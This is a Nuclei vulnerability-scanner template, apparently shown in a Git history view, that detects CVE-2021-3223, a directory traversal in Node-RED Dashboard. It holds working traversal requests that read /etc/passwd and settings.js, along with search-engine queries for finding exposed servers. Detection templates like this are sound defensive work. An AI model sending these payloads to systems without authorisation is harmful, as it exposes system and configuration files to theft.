nuclei-templates/http/cves/2021/CVE-2021-3223.yaml

52 lines
1.7 KiB
YAML
Raw Normal View History

id: CVE-2021-3223
info:
name: Node RED Dashboard <2.26.2 - Local File Inclusion
2021-07-31 09:12:48 +00:00
author: gy741,pikpikcu
severity: high
description: NodeRED-Dashboard before 2.26.2 is vulnerable to local file inclusion because it allows ui_base/js/..%2f directory traversal to read files.
2023-09-06 12:09:01 +00:00
remediation: |
Upgrade Node RED Dashboard to version 2.26.2 or later to mitigate the vulnerability.
reference:
- https://github.com/node-red/node-red-dashboard/issues/669
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3223
- https://github.com/node-red/node-red-dashboard/releases/tag/2.26.2
- https://nvd.nist.gov/vuln/detail/CVE-2021-3223
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-3223
cwe-id: CWE-22
2023-10-14 11:27:55 +00:00
epss-score: 0.11532
epss-percentile: 0.94617
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:nodered:node-red-dashboard:*:*:*:*:*:node.js:*:*
2022-05-11 13:02:11 +00:00
metadata:
2022-05-11 13:09:39 +00:00
verified: true
2023-09-06 12:09:01 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: nodered
product: node-red-dashboard
2023-09-06 12:09:01 +00:00
framework: node.js
shodan-query: title:"Node-RED"
fofa-query: title="Node-RED"
2022-06-27 09:43:42 +00:00
tags: cve,cve2021,node-red-dashboard,lfi
http:
- method: GET
path:
- '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd'
2021-07-31 09:12:48 +00:00
- '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2fsettings.js'
2021-08-01 19:41:43 +00:00
matchers-condition: or
matchers:
2021-07-31 09:12:48 +00:00
- type: word
2021-08-01 19:41:43 +00:00
part: body
2021-07-31 09:12:48 +00:00
words:
- "Node-RED web server is listening"
2023-07-11 19:49:27 +00:00
- type: regex
part: body
regex:
- "root:.*:0:0:"
# digest: 4b0a004830460221009b6b0878fe38e7681bbf4de08eba028757d592ca8158406a4cd2516132f7e9ef022100ee48400e7eecb59f19bade505b9e85886bfe4cdb4538bffa3dd4fc33004728b2:922c64590222798bb761d5b6d8e72950